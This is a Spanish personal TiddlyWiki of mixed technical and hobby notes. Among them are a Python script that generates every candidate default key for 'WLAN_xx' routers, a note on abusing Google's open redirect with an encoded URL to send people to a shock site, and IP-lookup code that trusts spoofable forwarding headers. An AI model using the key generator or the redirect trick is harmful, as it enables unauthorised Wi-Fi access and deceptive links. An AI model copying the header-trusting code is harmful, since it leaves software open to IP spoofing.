}
public static String formatXml(String unformattedXml) {
try {
final Document document;
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
InputSource is = new InputSource(new StringReader(unformattedXml));
document = db.parse(is);
Writer out = new StringWriter();
TransformerFactory tfactory = TransformerFactory.newInstance();
Transformer serializer;
serializer = tfactory.newTransformer();
serializer.setOutputProperty(OutputKeys.INDENT, "yes");
//serializer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "4");
serializer.transform(new DOMSource(document), new StreamResult(out));
return out.toString();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}}}
!Descripción
Apuntes sobre FreeBSD
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre fundamentos y teoría de la programación.
!Apuntes rápidos
*
!Enlaces interesantes
* ''Páginas web:''
** http://lambda-the-ultimate.org/
** http://en.wikipedia.org/wiki/Formal_language
** http://en.wikipedia.org/wiki/Category:Theoretical_computer_science
** http://en.wikipedia.org/wiki/Category:Programming_constructs
** http://es.wikipedia.org/wiki/Categor%C3%ADa:Inform%C3%A1tica_te%C3%B3rica
** http://es.wikipedia.org/wiki/Categor%C3%ADa:Ciencia_de_los_ordenadores
** http://es.wikipedia.org/wiki/Ciencias_de_la_computaci%C3%B3n
** http://es.wikipedia.org/wiki/Categor%C3%ADa:Paradigmas_de_programaci%C3%B3n
** http://es.wikipedia.org/wiki/Paradigma_funcional
** http://es.wikipedia.org/wiki/C%C3%A1lculo_Lambda
** http://es.wikipedia.org/wiki/Categor%C3%ADa:Programaci%C3%B3n_orientada_a_objetos
** http://es.wikipedia.org/wiki/Programaci%C3%B3n_orientada_a_objetos
** http://es.wikipedia.org/wiki/Categor%C3%ADa:Programaci%C3%B3n_Imperativa
** http://es.wikipedia.org/wiki/Programaci%C3%B3n_imperativa
* ''Libros:''
** Programming Paradigm for Dummies: http://www.info.ucl.ac.be/~pvr/VanRoyChapter.pdf
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Versión Python:
{{{
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
ROUTERS = {
"0060B3" : ["Z001349", "Z-com"],
"000138" : ["X000138", "Xavi 7768r"],
"0003C9" : ["C0030DA", "Comtrend 535"],
"00A0C5" : ["Z001349", "Zyxel 650HW/660HW"],
"001638" : ["C0030DA", "Comtrend 536+"],
"001349" : ["Z001349", "P-660HW-D1"],
"0002CF" : ["Z0002CF", "ZyGate"],
"001915" : ["C0030DA", "Comtrend"],
"001A2B" : ["E001D20", "Comtrend"],
}
def getRouter(mac):
"""Get data for router"""
mac = mac.upper().replace(" ", "").replace(":", "")
vendor = mac[:6]
if vendor in ROUTERS:
return ROUTERS[vendor]
else:
return None
def getEssidTail(essid):
"""Get last part of essid if is a valid essid in the form: WLAN_xx"""
essid = essid.upper().replace(" ", "")
return essid[-2:]
def getKeys(mac, essid):
"""Get keys for selected network or 'None' if network is not valid"""
router_data = getRouter(mac)
if router_data is None:
print "Invalid mac"
return None
prefix = router_data[0]
postfix = getEssidTail(essid)
if postfix is None:
print "Invalid essid"
return None
keys = []
for i in xrange(0, 16**4):
middle = "%04X" % i
key = prefix+middle+postfix
keys.append(key)
return keys
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage:\n"
print "python %s <mac_router> <essid name>" % sys.argv[0]
else:
mac = sys.argv[1]
essid = sys.argv[2]
keys = getKeys(mac, essid)
print "\n".join(keys)
}}}
Versión Javascript:
<script show>
var place = story.findContainingTiddler(place);
document.write("Place: "+place);
</script>
!Generador simple de llamadas a {{{exp}}} e {{{imp}}}:
<html>
<form name="f" id="f">
<table style="width: 100%">
<tbody>
<tr>
<td>Fichero: </td>
<td><input type="text" name="fichero" id="fichero" size="100%" value="c:\temp\data.dmp"/></td>
</tr>
<tr>
<td>BBDD origen: </td>
<td><input type="text" name="bbdd_origen" id="bbdd_origen" size="100%" value="user/pass@HUERVA"/></td>
</tr>
<tr>
<td>BBDD destino: </td>
<td><input type="text" name="bbdd_destino" id="bbdd_destino" size="100%" value="user/pass@XE"/></td>
</tr>
<tr>
<td>Esquema origen</td>
<td><input type="text" name="esquema_origen" id="esquema_origen" size="100%" value="SANXXX"/></td>
</tr>
<tr>
<td>Esquema destino</td>
<td><input type="text" name="esquema_destino" id="esquema_destino" size="100%" value="SANXXX"/></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="button" name="generar" id="generar" value="Generar" onclick='javascript:(function(){document.getElementById("resultado").innerHTML="exp userid="+document.getElementById("bbdd_origen").value+" "+"file="+document.getElementById("fichero").value+" "+"where owner="+document.getElementById("esquema_origen").value+"\n"+"imp userid="+document.getElementById("bbdd_destino").value+" "+"file="+document.getElementById("fichero").value+" "+"fromuser="+document.getElementById("esquema_origen").value+" "+"touser="+document.getElementById("esquema_destino").value;return false;})()' /></td>
</tr>
<tr>
<td colspan="2"><pre width="100%" name="resultado" id="resultado" align="left">Presione "Generar"</pre></td>
</tr>
</tbody>
</table>
</form>
</html>
!Clases de utilidad:
!!Generador de UUID:
<script label="Probar" show>
UUID = {
generate: function (type) {
switch ((type || 'v4').toUpperCase ()) {
// Version 4 UUID (Section 4.4 of RFC 4122)
case 'V4':
var tl = this._randomHexString (8); // time_low
var tm = this._randomHexString (4); // time_mid
var thav = '4' + this._randomHexString (3); // time_hi_and_version
var cshar = Math.randomInt (0, 0xFF); // clock_seq_hi_and_reserved
cshar = ((cshar & ~(1 << 6)) | (1 << 7)).toString (16);
var csl = this._randomHexString (2); // clock_seq_low
var n = this._randomHexString (12); // node
return (tl + '-' + tm + '-' + thav + '-' + cshar + csl + '-' + n);
// Nil UUID (Section 4.1.7 of RFC 4122)
case 'NIL':
return ('00000000-0000-0000-0000-000000000000');
}
return (null);
},
_randomHexString: function (len) {
var random = Math.randomInt (0, Math.pow (16, len) - 1);
return (random.toString (16).pad (len, '0', String.PAD_LEFT));
}
}
/* Pad a string to a certain length with another string; similar to
PHP's str_pad() function.
* Derived from code by Carlos Reche <carlosreche at yahoo.com>.
* len - Pad the string up to this length
* (pad) - String used for padding (default: a single space)
* (type) - Type can be String.PAD_LEFT, String.PAD_RIGHT (default) or
String.PAD_BOTH
*/
String.PAD_LEFT = 0;
String.PAD_RIGHT = 1;
String.PAD_BOTH = 2;
String.prototype.pad = function (len, pad, type) {
var string = this;
var append = new String ();
len = isNaN (len) ? 0 : len - string.length;
pad = typeof (pad) == 'string' ? pad : ' ';
if (type == String.PAD_BOTH) {
string = string.pad (Math.floor (len / 2) + string.length, pad, String.PAD_LEFT);
return (string.pad (Math.ceil (len / 2) + string.length, pad, String.PAD_RIGHT));
}
while ((len -= pad.length) > 0)
append += pad;
append += pad.substr (0, len + pad.length);
return (type == String.PAD_LEFT ? append.concat (string) : string.concat (append));
}
/* Generate a uniformly distributed random integer within the range
<min> .. <max>.
* (min) - Lower limit: random >= min (default: 0)
* (max) - Upper limit: random <= max (default: 1)
*/
Math.randomInt = function (min, max) {
if (! isFinite (min)) min = 0;
if (! isFinite (max)) max = 1;
return (Math.floor ((Math.random () % 1) * (max - min + 1) + min));
}
//Test:
var rnd = UUID.generate('v4')
alert('Random UUID: '+rnd+'\nRandom gtalk: private-chat-'+rnd);
</script>
!Descripción
Apuntes sobre temas generales
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("General")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Es muy sencillo, con 3 líneas de código es suficiente:
{{{
import hashlib, base64
txt = raw_input("Texto: ")
print base64.b64encode(hashlib.sha1(txt).digest())
}}}
!Descripción
Apuntes sobre gente destacada: escritores, científicos o otras gentes que haya sido famosas por su trabajo.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre geografía, topología y cartografía.
!Apuntes rápidos
*
!Enlaces interesantes
* Google Map: http://maps.google.com/
* Microsoft Live Maps: http://www.bing.com/maps/
* Catastro+Google Maps: http://www.goolzoom.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Glosario de abreviaturas en francés (de Suiza)
Contribuido por Monitor Javi
* ''BFP'' (//Blonde à Forte Poitrine//): Rubia de tetas grandes.
* ''DTC'' (//Dans Ton Cul//): En tu culo. //Tu peux te mettre ca dans ton cul// - Te lo puedes meter por el culo.
* ''PCR'' (//Plan Cul Regulièr//): Esto se dice de la típica tía que te chiscas una noche y au, es tener un plan de un culo y au, y hacerlo con asiduidad, o tener una chica pa chiscar pero que no sea tu novia
!Descripción
Apuntes sobre Groovy, uno de los nuevos lenguajes soportados por la plataforma Java (no confundir con el lenguaje [[Java]]).
!Apuntes rápidos
*
!Enlaces interesantes
* Tutorial de [[Groovy]]: http://www.dosideas.com/cursos/course/view.php?id=9
* Página principal: http://groovy.codehaus.org/
* Artículo en la wikipedia inglesa: http://en.wikipedia.org/wiki/Groovy_%28programming_language%29
* Comunidad de [[Groovy]] en español: http://groovy.org.es/home/index
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre HTML y XHTML
!Apuntes rápidos
* ''Redirección implícita de google:'' Puedes usar la redirección implícita de google para mandar a la gente a la página que quieras. Un ejemplo un tanto letal:
{{{
http://www.google.com/searchhistory/url?url=http://lemonparty.org
http://www.google.com/searchhistory/url?url=http://le%6Don%70a%72t%79.o%72g
}}}
* ''innerHTML'': En Firefox se puede usar sin ningún problema, pero en Internet Explorer (incluida versión 7) hay un bug que obliga a utilizar la propiedad innerHTML sólo con elementos <div />
* ''Formularios y parámetros:'' Los campos de los formularios //DEBEN// tener un atributo {{{name}}} para que al hacer submit se envíen al servidor. Poner un atributo {{{id}}} no sirve para nada.
!Enlaces interesantes
* HTML reference: http://w3schools.com/tags/default.asp
* HTML DOM: http://w3schools.com/htmldom/dom_reference.asp
* Try it yourself: http://w3schools.com/css/tryit.asp?filename=trycss_link
* http://sentidoweb.com/2007/09/12/10-ficheros-que-deberia-tener-cualquier-web.php
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre distintas técnicas para hacer fuego, desde las más rudimentarias a las más sofisticadas.
!Apuntes rápidos
!! Mediante luz solar y medios ópticos
!!! Con una lente
Un clásico que casi cualquiera ha hecho de niño con una lupa. Consiste en concentrar los rayos solares en un punto usando una lente convexa, como las lupas o las gafas de hipermetropía. También puede utilizarse el culo de una botella u otro elemento de vidrio curvado que concentre la luz en un punto. Otra opción podría ser usar un espejo cóncavo
!!! Con hielo
El truco es congelar agua para que forme una lente de hielo. La lente de hielo puede utilizarse de la misma manera que una de cristal para conseguir concentrar los rayos solares en un punto pequeño. Puede hacerse la lente de hielo con cualquier contenedor de forma cóncava, como un plato o el culo de una lata de refresco. Más información:
* http://www.primitiveways.com/fire_from_ice.html
* http://wildwoodsurvival.com/survival/fire/ice/index.html
!!! Con una bolsa transparente y agua
Otra forma de hacer lentes con agua es llenar una bolsa transparente de agua, y presionarla para que adquiera forma más o menos esférica. Una vez conseguida esta forma, la bolsa llena de agua se comportará como una lente cualquiera. Mas información:
* http://wildwoodsurvival.com/survival/fire/water/index.html
!!! Con una lata de refresco y una chocolatina
El culo de una lata de refresco tiene forma cóncava, por lo que podría ser un buen espejo. Si no fuera porque las latas de refresca están bruñidas (no son metal brillante). ¿Como solucionarlo? Puliéndolas, y un buen agente pulidor es el chocolate. Es tan sencillo como poner un poco en el culo de la lata y con un paño frotar hasta que quede brillante. Una vez pulido se puede poner material combustible (papel, madera, una cerilla un poco mojada) en el punto focal y esperar a que arda.
!! Fricción
!!! Berbiquí manual
Consiste en una tabla con una hendidura en una cara y un palo que encaja en la hendidura. Se apoya el palo sobre la hendidura con un poco de material inflamable, y se presiona y retuerce el palo sobre la tabla. Hay que centrarse más en girar el palo lo más rápido posible que en presionarlo con gran fuerza. Al cabo de un buen rato, la fricción entre el palo y la tabla habrá calentado tanto el material inflamable que empezará a quemarse. Más información:
* http://wildwoodsurvival.com/survival/fire/handdrill/index.html
!!! Berbiquí de arco
Una forma de mejorar el proceso es usar un arco para hacer girar el palo. Se debe construir un arco, pero no como los de tirar proyectiles, si no uno con la cuerda floja. el objetivo es enrollar la cuerda en torno al palo, para que al mover el arco hacia un lado y hacia el otro, la cuerda enredada haga girar el palo a gran velocidad. Es un mecanismo similar a los tornos de alfarero de ballesta que se utilizaban antaño. Más información:
* http://wildwoodsurvival.com/survival/fire/bowdrill/index.html
!! Electricidad de bajo voltaje (pilas)
!!! Hacer fuego con lana de acero y una pila de 9V
Tan sencillo como aplicar los bornes de la pila a la lana. Esto hará que salte una chispa que hará entrar en combustión a la lana. ¡Mucho ojo para no quemarse los dedos! Más información:
* http://www.ikkaro.com/como-hacer-fuego-lana-acero
!Enlaces interesantes
* http://www.primitiveways.com/
* http://wildwoodsurvival.com/survival/fire/index.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
* ''¿Qué es Haiku?'' Es un sistema operativo compatible a nivel binario con BeOS 5 y que intenta ser el heredero de este. Básicamente es un SO monousuario orientado al escritorio y al tratamiento de imágenes, vídeo y sonido (multimedia). Haiku es libre, al contrario que BeOS, y está teniendo un activo desarrollo. Las premisas de Haiku son extrema sencillez y potencia para el tratamiento multimedia.
!Enlaces interesantes
* Página principal: http://www.haiku-os.org
* Descargar software: http://bebits.com/
* Blog de Haiku en español: http://haikues.blogspot.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre hardware y otros cacha-trastos relacionados con la informática
!Apuntes rápidos
*
!Enlaces interesantes
* Guía visual de componentes: http://fc01.deviantart.com/fs46/f/2009/200/1/1/Computer_hardware_poster_1_7_by_Sonic840.png
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
DIY son las siglas en inglés de "Do It Yourself", o, lo que es lo mismo "hazlo por ti mismo". Aquí se recopilará información sobre pequeños trucos, manualidades y experimentos.
!Apuntes rápidos
*
!Enlaces interesantes
* ''Páginas de "hazlo tu mismo":''
** Maker Wiki: http://www.makerwiki.com/index.php/Portada
** Make Magazine: http://blog.makezine.com/
** Dangereously fun: http://dangerouslyfun.com/
** Instructables: http://www.instructables.com/
** Wiki Pyro: http://www.wikipyro.com/
** Pyro Guide: http://www.pyroguide.com
** Como hacer: http://www.comohacer.eu
** Crealo tu mismo: http://www.crealotumismo.com/
** Todo tutoriales: http://www.todotutoriales.es/
** Proyectos de ladyada.net: http://www.ladyada.net/make/index.html
* ''Proyectos sueltos interesantes:''
** ''Electrónica variada:''
*** Taser de 30.000 voltios casero: http://www.instructables.com/id/DIY-Taser/
** ''Informática:''
*** Antena Wifi superbarata: http://masmanuti.wordpress.com/2008/05/13/windsurfer-la-mejor-antena-calidadprecio-para-mejorar-tu-wifi/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name:|HideWhenPlugin|
|Description:|Allows conditional inclusion/exclusion in templates|
|Version:|3.1 ($Rev: 3919 $)|
|Date:|$Date: 2008-03-13 02:03:12 +1000 (Thu, 13 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#HideWhenPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
For use in ViewTemplate and EditTemplate. Example usage:
{{{<div macro="showWhenTagged Task">[[TaskToolbar]]</div>}}}
{{{<div macro="showWhen tiddler.modifier == 'BartSimpson'"><img src="bart.gif"/></div>}}}
***/
//{{{
window.hideWhenLastTest = false;
window.removeElementWhen = function(test,place) {
window.hideWhenLastTest = test;
if (test) {
removeChildren(place);
place.parentNode.removeChild(place);
}
};
merge(config.macros,{
hideWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( eval(paramString), place);
}},
showWhen: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !eval(paramString), place);
}},
hideWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( tiddler.tags.containsAll(params), place);
}},
showWhenTagged: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !tiddler.tags.containsAll(params), place);
}},
hideWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( tiddler.tags.containsAny(params), place);
}},
showWhenTaggedAny: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !tiddler.tags.containsAny(params), place);
}},
hideWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( tiddler.tags.containsAll(params), place);
}},
showWhenTaggedAll: { handler: function (place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !tiddler.tags.containsAll(params), place);
}},
hideWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0]), place);
}},
showWhenExists: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !(store.tiddlerExists(params[0]) || store.isShadowTiddler(params[0])), place);
}},
hideWhenTitleIs: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( tiddler.title == params[0], place);
}},
showWhenTitleIs: { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( tiddler.title != params[0], place);
}},
'else': { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
removeElementWhen( !window.hideWhenLastTest, place);
}}
});
//}}}
!Descripción
Apuntes sobre homebrew para distintos dispositivos y/o software para consolas de videojuegos.
!Apuntes rápidos
*
!Enlaces interesantes
* Pandora, la GP2X con esteroides: http://openpandora.org/
* Entrevista a uno de los creadores de Pandora: http://www.openpandora.es/2008/09/01/nueva-entrevista-a-craigix/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre hombrew y software para la consola Nintendo DS
!Apuntes rápidos
*
!Enlaces interesantes
* http://dev-scene.com/NDS/Homebrew_Catalog
* http://ds.qj.net/
* Emulador de Neo Geo: http://groups.google.com/group/neods
* Emuladores diversos: http://wiki.pocketheaven.com/Category:Emulators_on_DS
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre la consola libre con Linux, GP2X
!Apuntes rápidos
*
!Enlaces interesantes
* Foros y descargas en español: http://www.gp32spain.com
* Wiki principal: http://wiki.gp2x.org
* Descargas: http://dl.openhandhelds.org/cgi-bin/gp2x.cgi
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre homebrew y software para la consola Nintendo Wii
!Apuntes rápidos
*
!Enlaces interesantes
* DOS Box en Wii: http://www.qj.net/Wii-homebrew-DOSBox-Wii-v0-73-01/pg/49/aid/131955
* http://wii.qj.net/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre el protocolo IMAP
!Apuntes rápidos
*
!Enlaces interesantes
* http://es.wikipedia.org/wiki/IMAP
* http://www.imap.org/
* RFC: http://www.ietf.org/rfc/rfc3501.txt
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Problema
Si el cliente se conecta a un servidor con un proxy intermedio, al servidor le llegará la petición desde la IP del proxy, no directamente desde el cliente.
!Solución
Los proxy suelen meter unas cabeceras http adicionales con la IP original del cliente. Las IPs más comunes son:
* {{{Via}}}
* {{{Forwarded}}}
* {{{X-Forwarded-For}}}
* {{{Client-ip}}}
!Ejemplo
El siguiente código para J2EE comprueba si existen las citadas cabeceras y en caso contrario devuelve la IP de la petición:
{{{
import javax.servlet.http.*;
import org.apache.log4j.Logger;
public class IPUtils {
static Logger log = Logger.getLogger(IPUtils.class);
public static String clientIP(HttpServletRequest request) {
String xForwarded = request.getHeader("X-FORWARDED-FOR");
String forwarded = request.getHeader("FORWARDED");
String via = request.getHeader("VIA");
String client = request.getHeader("CLIENT-IP");
String dirIP = request.getRemoteAddr();
if (xForwarded != null) {
dirIP = xForwarded;
} else if (forwarded != null) {
dirIP = forwarded;
} else if (via != null) {
dirIP = via;
} else if (client != null) {
dirIP = client;
}
log.debug("Extrayendo IP:" +
"\n * IP física: " + request.getRemoteAddr() +
"\n * X-FORWARDED-FOR: " + xForwarded +
"\n * FORWARDED: " + forwarded +
"\n * VIA: " + via +
"\n * CLIENT-IP: " + client
);
//if (dirIP == null) dirIP = request.getRemoteAddr();
return dirIP;
}
}
}}}
!Descripción
Apuntes sobre ciencias básicas y disciplinas propias de la ingeniería, como [[biologia|Biologia]], [[matemáticas|Matematicas]], [[física|Fisica]] o [[electrónica|Electronica]]
!Apuntes rápidos
*
!Enlaces interesantes
*''OCW: ''
** Listado con todas las universidades adheridas: http://www.ocwconsortium.org/use/use-dynamic.html
** Universidad de Stanford: http://see.stanford.edu/see/courses.aspx
** Instituto Tecnológico de Massachussets (MIT): http://ocw.mit.edu/OcwWeb/web/courses/courses/index.htm
** Algunos cursos del MIT traducidos por Universia: http://mit.ocw.universia.net/
